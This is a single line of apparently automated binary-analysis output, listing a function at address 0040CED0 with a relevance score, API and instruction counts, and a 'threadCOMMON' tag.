Function 0040CED0 Relevance: 6.0, APIs: 4, Instructions: 42
threadCOMMON